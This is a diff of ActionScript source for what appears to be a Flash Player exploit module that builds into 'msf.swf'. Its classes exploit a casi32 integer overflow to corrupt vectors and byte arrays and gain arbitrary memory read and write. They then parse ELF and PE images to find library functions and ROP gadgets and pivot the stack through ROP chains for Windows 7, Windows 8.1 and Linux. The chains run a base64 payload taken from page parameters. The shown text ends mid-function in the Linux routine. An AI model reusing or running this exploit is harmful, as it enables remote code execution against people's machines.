var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,114 @@
|
||||||
|
// Build how to:
|
||||||
|
// 1. Download the AIRSDK, and use its compiler.
|
||||||
|
// 2. Download the Flex SDK (4.6)
|
||||||
|
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
|
// 4. Build with: mxmlc -o msf.swf Exploit.as
|
||||||
|
|
||||||
|
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||||
|
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.ApplicationDomain
|
||||||
|
import avm2.intrinsics.memory.casi32
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public class Exploit extends Sprite
|
||||||
|
{
|
||||||
|
private var BYTE_ARRAY_SIZE:Number = 1024
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
private var ba:ByteArray
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder();
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var os:String
|
||||||
|
private var exploiter:Exploiter
|
||||||
|
private var defrag:Vector.<Object> = new Vector.<Object>(100)
|
||||||
|
private var ov:Vector.<Object> = new Vector.<Object>(200)
|
||||||
|
|
||||||
|
public function Exploit()
|
||||||
|
{
|
||||||
|
var i:uint = 0
|
||||||
|
var j:uint = 0
|
||||||
|
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
for (i = 0; i < defrag.length; i++) {
|
||||||
|
defrag[i] = new ByteArray()
|
||||||
|
defrag[i].length = BYTE_ARRAY_SIZE
|
||||||
|
defrag[i].endian = "littleEndian"
|
||||||
|
}
|
||||||
|
|
||||||
|
ba = new ByteArray()
|
||||||
|
ov[0] = ba
|
||||||
|
ov[0].length = BYTE_ARRAY_SIZE
|
||||||
|
ov[0].endian = "littleEndian"
|
||||||
|
|
||||||
|
for (i = 1; i < ov.length; i++) {
|
||||||
|
ov[i] = new Vector.<uint>(1014)
|
||||||
|
ov[i][0] = 0x41424344
|
||||||
|
}
|
||||||
|
|
||||||
|
ApplicationDomain.currentDomain.domainMemory = ba;
|
||||||
|
// Make ByteArray length 0 so the casi32 integer overflow
|
||||||
|
// can be exploited
|
||||||
|
ba.atomicCompareAndSwapLength(1024, 0)
|
||||||
|
|
||||||
|
try {
|
||||||
|
var uint_vector_pos:uint = search_uint_vector()
|
||||||
|
} catch (err:Error) {
|
||||||
|
Logger.log("[!] Exploit - Corrupted Vector.<uint> not found")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Overwrite uint vector length
|
||||||
|
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
|
||||||
|
|
||||||
|
for (i = 0; i < ov.length; i++) {
|
||||||
|
if (ov[i].length > 1024) {
|
||||||
|
uv = ov[i]
|
||||||
|
Logger.log("[*] Exploit - Corrupted Vector.<uint> found")
|
||||||
|
} else {
|
||||||
|
ov[i] = null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Methods to use the integer overflow
|
||||||
|
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||||
|
var mem:uint = 0
|
||||||
|
var mem_first_pos:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||||
|
mem = read_byte_array(i)
|
||||||
|
mem_first_pos = read_byte_array(i + 8)
|
||||||
|
if (mem == pattern && mem_first_pos == 0x41424344) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function read_byte_array(offset:uint = 0):uint {
|
||||||
|
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
|
||||||
|
return old
|
||||||
|
}
|
||||||
|
|
||||||
|
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
|
||||||
|
var old:uint = read_byte_array(offset)
|
||||||
|
casi32(offset, old, value)
|
||||||
|
return old
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,74 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint = 1014
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,399 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(10000)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
if (op_system == "Windows 8.1") {
|
||||||
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
